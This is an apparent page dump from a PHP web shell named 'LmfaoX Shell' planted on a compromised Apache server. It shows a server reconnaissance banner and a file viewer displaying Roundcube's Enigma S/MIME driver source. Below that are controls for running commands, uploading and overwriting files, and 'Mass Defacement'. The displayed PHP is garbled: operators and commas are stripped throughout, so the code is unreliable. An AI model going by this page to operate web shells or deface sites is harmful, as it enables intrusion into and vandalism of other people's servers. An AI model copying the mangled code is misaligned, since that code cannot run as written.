ShellBanner
System:Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686
Software:Apache. PHP/5.3.6-13ubuntu3.10
ID:uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
Safe Mode:OFF
Open_Basedir:OFF
Freespace:20.1 GB of 70.42 GB (28.55%)
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,

/ http/ mail/ plugins/ enigma/ lib/ - drwxr-xr-x

Directory:
Viewing file:     enigma_driver_phpssl.php (7.29 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*
 +-------------------------------------------------------------------------+
 | S/MIME driver for the Enigma Plugin                                |
 |                                                                         |
 | This program is free software; you can redistribute it and/or modify    |
 | it under the terms of the GNU General Public License version 2          |
 | as published by the Free Software Foundation.                           |
 |                                                                         |
 | This program is distributed in the hope that it will be useful,         |
 | but WITHOUT ANY WARRANTY; without even the implied warranty of          |
 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the           |
 | GNU General Public License for more details.                            |
 |                                                                         |
 | You should have received a copy of the GNU General Public License along |
 | with this program; if not, write to the Free Software Foundation, Inc., |
 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.             |
 |                                                                         |
 +-------------------------------------------------------------------------+
 | Author: Aleksander Machniak <alec@alec.pl>                              |
 +-------------------------------------------------------------------------+
*/

class enigma_driver_phpssl extends enigma_driver
{
    private 
$rc;
    
//private $gpg;
    
private $homedir;
    private 
$user;

    function 
__construct($user)
    {
        
$rcmail rcmail::get_instance();
        
$this->rc   $rcmail;
        
$this->user $user;
    }

    
/**
     * Driver initialization and environment checking.
     * Should only return critical errors.
     *
     * @return mixed NULL on success, enigma_error on failure
     */
    
function init()
    {
        
$homedir $this->rc->config->get('enigma_smime_homedir'INSTALL_PATH '/plugins/enigma/home');

        if (!
$homedir)
            return new 
enigma_error(enigma_error::E_INTERNAL,
                
"Option 'enigma_smime_homedir' not specified");

        
// check if homedir exists (create it if not) and is readable
        
if (!file_exists($homedir))
            return new 
enigma_error(enigma_error::E_INTERNAL,
                
"Keys directory doesn't exists: $homedir");
        if (!
is_writable($homedir))
            return new 
enigma_error(enigma_error::E_INTERNAL,
                
"Keys directory isn't writeable: $homedir");

        
$homedir $homedir '/' $this->user;

        
// check if user's homedir exists (create it if not) and is readable
        
if (!file_exists($homedir))
            
mkdir($homedir0700);

        if (!
file_exists($homedir))
            return new 
enigma_error(enigma_error::E_INTERNAL,
                
"Unable to create keys directory: $homedir");
        if (!
is_writable($homedir))
            return new 
enigma_error(enigma_error::E_INTERNAL,
                
"Unable to write to keys directory: $homedir");

        
$this->homedir $homedir;

    }

    function 
encrypt($text$keys)
    {
    }

    function 
decrypt($text$key$passwd)
    {
    }

    function 
sign($text$key$passwd)
    {
    }

    function 
verify($struct$message)
    {
        
// use common temp dir
        
$temp_dir  $this->rc->config->get('temp_dir');
        
$msg_file  tempnam($temp_dir'rcmMsg');
        
$cert_file tempnam($temp_dir'rcmCert');

        
$fh fopen($msg_file"w");
        if (
$struct->mime_id) {
            
$message->get_part_content($struct->mime_id$fhtrue0false);
        }
        else {
            
$this->rc->storage->get_raw_body($message->uid$fh);
        }
        
fclose($fh);

        
// @TODO: use stored certificates

        // try with certificate verification
        
$sig      openssl_pkcs7_verify($msg_file0$cert_file);
        
$validity true;

        if (
$sig !== true) {
            
// try without certificate verification
            
$sig      openssl_pkcs7_verify($msg_filePKCS7_NOVERIFY$cert_file);
            
$validity enigma_error::E_UNVERIFIED;
        }

        if (
$sig === true) {
            
$sig $this->parse_sig_cert($cert_file$validity);
        }
        else {
            
$errorstr $this->get_openssl_error();
            
$sig = new enigma_error(enigma_error::E_INTERNAL$errorstr);
        }

        
// remove temp files
        
@unlink($msg_file);
        @
unlink($cert_file);

        return 
$sig;
    }

    public function 
import($content$isfile=false)
    {
    }

    public function 
list_keys($pattern='')
    {
    }

    public function 
get_key($keyid)
    {
    }

    public function 
gen_key($data)
    {
    }

    public function 
del_key($keyid)
    {
    }

    public function 
del_privkey($keyid)
    {
    }

    public function 
del_pubkey($keyid)
    {
    }

    
/**
     * Converts Crypt_GPG_Key object into Enigma's key object
     *
     * @param Crypt_GPG_Key Key object
     *
     * @return enigma_key Key object
     */
    
private function parse_key($key)
    {
/*
        $ekey = new enigma_key();

        foreach ($key->getUserIds() as $idx => $user) {
            $id = new enigma_userid();
            $id->name    = $user->getName();
            $id->comment = $user->getComment();
            $id->email   = $user->getEmail();
            $id->valid   = $user->isValid();
            $id->revoked = $user->isRevoked();

            $ekey->users[$idx] = $id;
        }
        
        $ekey->name = trim($ekey->users[0]->name . ' <' . $ekey->users[0]->email . '>');

        foreach ($key->getSubKeys() as $idx => $subkey) {
                $skey = new enigma_subkey();
                $skey->id          = $subkey->getId();
                $skey->revoked     = $subkey->isRevoked();
                $skey->created     = $subkey->getCreationDate();
                $skey->expires     = $subkey->getExpirationDate();
                $skey->fingerprint = $subkey->getFingerprint();
                $skey->has_private = $subkey->hasPrivate();
                $skey->can_sign    = $subkey->canSign();
                $skey->can_encrypt = $subkey->canEncrypt();

                $ekey->subkeys[$idx] = $skey;
        };
        
        $ekey->id = $ekey->subkeys[0]->id;
        
        return $ekey;
*/
    
}

    private function 
get_openssl_error()
    {
        
$tmp = array();
        while (
$errorstr openssl_error_string()) {
            
$tmp[] = $errorstr;
        }

        return 
join("\n"array_values($tmp));
    }

    private function 
parse_sig_cert($file$validity)
    {
        
$cert openssl_x509_parse(file_get_contents($file));

        if (empty(
$cert) || empty($cert['subject'])) {
            
$errorstr $this->get_openssl_error();
            return new 
enigma_error(enigm_error::E_INTERNAL$errorstr);
        }

        
$data = new enigma_signature();

        
$data->id          $cert['hash']; //?
        
$data->valid       $validity;
        
$data->fingerprint $cert['serialNumber'];
        
$data->created     $cert['validFrom_time_t'];
        
$data->expires     $cert['validTo_time_t'];
        
$data->name        $cert['subject']['CN'];
//        $data->comment     = '';
        
$data->email       $cert['subject']['emailAddress'];

        return 
$data;
    }

}
Command:
Quick Commands:
Upload:
[OK] Max size: 100MB
PHP Filesystem: <@ Ú
Search File:
regexp
Create File:
Overwrite [OK]
View File:
Mass Defacement:
[+] Main Directory: [+] Defacement Url:
LmfaoX Shell - Private Build [BETA] - v0.1 -; Generated: 0.1535 seconds